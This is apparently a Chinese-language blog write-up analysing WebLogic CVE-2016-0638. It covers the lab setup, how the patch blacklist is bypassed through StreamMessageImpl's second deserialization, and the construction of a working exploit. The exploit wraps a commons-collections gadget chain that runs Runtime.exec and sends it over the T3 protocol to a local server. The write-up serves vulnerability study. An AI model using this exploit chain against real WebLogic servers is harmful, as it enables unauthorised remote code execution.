忆——Weblogic CVE-2016-0638反序列化漏洞

robots

 

开始着手对Weblogic历史漏洞进行剖析,周末分析了Weblogic历史上的严重漏洞,一次针对CVE-2015-4852漏洞的补丁绕过。原理虽然简单,但是时间太过久远,一些关键点被历史的长河淹没。找了很多师傅们的博客文章,关于如何封装之前的利用链,大多是用的https://github.com/5up3rc/weblogic_cmd中的现有功能。打算从补丁分析、补丁绕过、利用构造三大方面开始分析,揭开分析Weblogic漏洞的序幕。

 

0x01 漏洞介绍

该漏洞是早期Weblogic漏洞中经典的二次反序列化漏洞,主要利用该姿势绕过CVE-2015-4852漏洞补丁。二次反序列化的点在weblogic.jms.common.StreamMessageImpl类的readExternal方法中,并且没有使用ServerChannelInputStream中的反序列化功能,从一个全新的ObjectInputStream进行反序列化,从而绕过了黑名单的限制。

 

0x02 环境搭建

0x1 自动化搭建

现成环境

可以采用现成的docker环境,执行以下命令生成对应版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

自动搭建

利用Docker自动化搭建,在github下载搭建代码
[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.sh
docker-compose up -d

0x2 配置调试环境

脚本会自动开启8453调试端口,配置idea并进行连接

0x3 补丁安装

将下载好的补丁 p21984589_1036_Generic.zip 解压放在/weblogic/oracle/middleware/utils/bsu/cache_dir 中

后续进入/weblogic/oracle/middleware/utils/bsu 目录进行补丁安装,需注意安装补丁时将java运行内存调整到合适大小

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=S8C2 -prod_dir=/weblogic/oracle/middleware/wlserver

查看已安装补丁

 

0x03 补丁分析及绕过

weblogic的补丁真是难找,找了半天总算是下到了 p21984589_1036_Generic

0x1 补丁分析

在补丁包中发现patch的代码,具体jar包为BUG21984589_1036013.jar,补丁在resolveClass方法中添加了过滤函数,利用ClassFilter.isBlackListed函数进行黑名单过滤。

黑名单拦截的Java类如下,上个漏洞的命令执行方法被堵死了,org.apache.commons.collections.functors和javassist以及xsltc.trax等类型被过滤。

0x2 绕过思路

因为补丁是在weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream#resolveClass这里做的patch,我们只需要找到一处不使用ServerChannelInputStream进行的反序列化即可绕过黑名单的限制。CVE-2016-0638采用了weblogic.jms.common.StreamMessageImpl来绕过黑名单,该类继承了Externalizable接口,重点关注在反序列化时执行的readExternal方法。

在864行调用的readObject函数是在858行new出来的ObjectInputStream对象,因此没有过滤机制。所以绕过思路就是将cve-2015-4852的poc封装进this.payload中绕过黑名单,从而在var5调用readObject函数的时候触发之前的反序列化漏洞。

0x3 可行性分析

那么这里到底能不能传入我们可控的数据呢?需要进一步的研究分析,重点关注这里的this.payload变量是怎么来的

this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
...
this.writeObject(var5.readObject());

由StreamMessageImpl类的readExternal方法得知,this.payload为PayloadFactoryImpl.createPayload创建得到,该部分代码如下

createPayload函数中首先从InputStream流中获取一个int类型的数据,之后将输入流和int类型数据传递给copyPayloadFromStream函数。该部分代码如下

copyPayloadFromStream从反序列化获取的长度和ChunkSize的2倍进行比较选出最小的那个,并和输入流一起传入到Chunk.createOneSharedChunk函数中进行如下操作,最后返回了一个包含指定长度输入流的chunk块。

后续代码如下,从创建的Chunk中获取数据并进行反序列化。

BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.writeObject(var5.readObject());

因此从代码层面讲,只需在序列化的时候填充相应的数据就可以实现指定数据的二次反序列化,听起来很神奇,下面看一看怎么构造利用代码。

 

0x04 Payload构造

在网上找了半天关于这块的分析,发现大佬们基本采用了该项目https://github.com/5up3rc/weblogic_cmd进行的利用,笔者打算参照该项目以及其他师傅们的项目思路从零构造利用代码。完整代码参见https://github.com/BabyTeam1024/CVE-2016-0638

0x1 重写StreamMessageImpl序列化方法

需要修改StreamMessageImpl类的writeExternal代码实现写入自定义数据。再次分析readExternal的操作,提取出如下关键代码:

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
    var1.readByte();
    var1.readInt();
    var1.readObject();
......
    }

我们需要做的就是在序列化的操作与反序列化中的操作对应起来。因此在序列化时需要实现如下代码

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
    super.writeExternal(paramObjectOutput);
    paramObjectOutput.writeByte(1);
    paramObjectOutput.writeInt(DataSize);
    paramObjectOutput.write(DataBuffer);

关于DataSize和DataBuffer的相关分析在上面的可行性分析中讨论过。我们将StreamMessageImpl类代码从jar包中提取出来,因此可以任意增删代码。可以删除不必要的代码(比如readExternal方法在序列化时不太需要),并添加如下关键代码,为二次反序列化做准备

public final byte[] getDataBuffer() {
    return this.buffer;
}

public final int getDataSize() {
    return this.length;
}

public final void setDataBuffer(byte[] var1, int var2) {
    this.buffer = var1;
    this.length = var2;
}

因为StreamMessageImpl继承了抽象类MessageImpl,一些方法还不能删除。

0x2 导入依赖库

导入ysoserial中的permit-reflect-0.3.jar以及StreamMessageImpl中的一些必要依赖

0x3 整合封装

首先将cc1链封装成函数getObject

public byte[] getObject() throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})
        };
    Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
    final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

    final Map testMap = new HashMap();

    Map evilMap = (Map) Proxy.newProxyInstance(
        testMap.getClass().getClassLoader(),
        testMap.getClass().getInterfaces(),
        secondInvocationHandler
    );
    final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
    byte[] serializeData=serialize(handler);
    return serializeData;
}

之后在main函数中获取构造好的利用对象并进行反序列化操作,接着赋值给StreamMessageImpl类的buffer对象,代码如下。

    public static void main(String[] args) throws Exception {
        byte[] payloadObject = new cve_2016_0638().getObject();
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(payloadObject,payloadObject.length);
        byte[] payload2 = Serializables.serialize(streamMessage);
        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
    }

 

0x05 总结

通过分析CVE-2016-0638学习到了构造反序列化漏洞payload的一些新方法,通过修改源码实现我们设计的功能。在后续weblogic漏洞学习中还是重点分析从0到1的过程,以及学习一些不出网回显利用和内存马的编写方式。

 

参考文章

https://y4er.com/post/weblogic-cve-2016-0638/
https://paper.seebug.org/584/
https://github.com/5up3rc/weblogic_cmd

(完)